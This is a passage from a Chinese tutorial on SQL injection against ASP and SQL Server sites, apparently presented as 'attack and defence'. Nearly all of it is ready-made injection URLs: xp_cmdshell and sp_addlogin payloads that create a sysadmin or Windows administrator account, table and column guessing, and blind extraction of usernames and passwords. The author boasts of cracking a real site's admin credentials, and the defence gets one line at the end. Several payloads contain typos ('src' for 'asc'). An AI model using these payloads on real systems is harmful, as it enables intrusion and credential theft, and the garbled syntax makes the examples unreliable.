服务器 频道

浅谈SQL注入式(SQL injection)攻击与防范

  4、网页传递参数不进行过滤处理
  很多网站都存在这个问题,比如http://www.***.com/show.asp?id=50,在没有对id进行过滤,或有效过滤的情况下,整个网站都处在非常危险的境地。
  我们可以通过很简单的办法测试是否存在这个问题:
  http://www.***.com/show.asp?id=50 and 1=1
  如果页面显示正确,基本上可以断定它存在这个问题。
  来看看攻击者能做写什么:
  (1)http://www.***.com/show.asp?id=50;exec master.dbo.sp_addlogin Cool;--
  (2)http://www.***.com/show.asp?id=50;exec master.dbo.sp_password null,123456,Cool;--
  (3)http://www.***.com/show.asp?id=50;exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--
  (4)http://www.***.com/show.asp?id=50;exec master.dbo.xp_cmdshell ''net user Cool 123456 /add'';--
  (5)http://www.***.com/show.asp?id=50;exec master.dbo.xp_cmdshell ''net localgroup administrators Cool /add'';--
  只要是表单中能提交的,这里基本都可以提交。
  (6)猜表名:http://www.***.com/show.asp?id=50 and 0<>(select count(*) from tablename),这里的tablename就是你猜测的表名。如果页面显示正常,则你猜测的表名是正确的。
  (7)猜字段名:http://www.***.com/show.asp?id=50 and 0<>(select count(fieldname) from tablename),这里的fieldname是表中某一字段名,如果页面显示正常,可以断定字段名称正确。
  (8)在获得tablename和fieldname以后,就可以更进一步了。
  比如是登陆系统,tablename是user,fieldname是id,name和pwd,看看能做些什么:
  a、http://www.***.com/show.asp?id=50 and 0<>(select count(*) from user where id>1000)
  粗略判断用户数量
  b、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(name)=10)
  判断id为1的用户的用户名长度是否为10
  c、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and mid(name,n,1)=''a'')
  判断id为1的用户的用户名的第n位是否为a
  d、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(pwd)=10)
  判断id为1的用户的密码长度是否为10
  e、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and mid(pwd,n,1)=''a'')
  判断id为1的用户的密码的第n位是否为a,如果你的密码没有加密,嘿嘿!
  当然mid(pwd,n,1)也可以写成right(left(pwd,n),1),个人习惯了!
  不过这样子一点一点的试,是不是太累了,那就自己用用perl写个小东东吧,挂个字典?呵呵,随你便!
  另外,还有一个小技巧,可以让你很快的破解用户名和密码,我用这种方法,在10分钟内完成了猜表名、猜列名、破解一个10位长(其中5位汉字)的用户名、破解它的12位(1位汉字)密码,获得了××安全网站的后台管理员用户名和密码,不过其中有8项内容是通过社会工程学猜的,呵呵。只是有点郁闷的是我没有找到网站后台的登陆界面,郁闷ing……
  a、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(name)=10)
  先确定用户名长度
  b、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(pwd)=10)
  再确定密码长度
  c、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,1,1))<0)
  判断用户名第一位是否为中文,如果是中文,一般都是负的好多
  如果不是,一般范围都在27~126之间,可以使用
  http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))>60)
  http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))<100)
  来确定范围,最终得出asc码值,通过对照(常用ASCII 码对照表)来获得第n位内容。
  如果是中文,应该小于-32,768,可以使用
  http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))>-30000)
  http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))<-10000)
  来确定范围,最终得出asc码值,通过转换获得第n位的内容,方法多多,许多编辑工具都有这个功能,也可以使用chr()函数直接输出进行转换。
  d、同理,可以很快获得密码内容。
  这里你是否也看到了刚才提到的request对象中省略集合名称的问题呢?!:)
  解决办法:这类问题,主要是对传递参数的过滤和对数据合法性的验证。
0
相关文章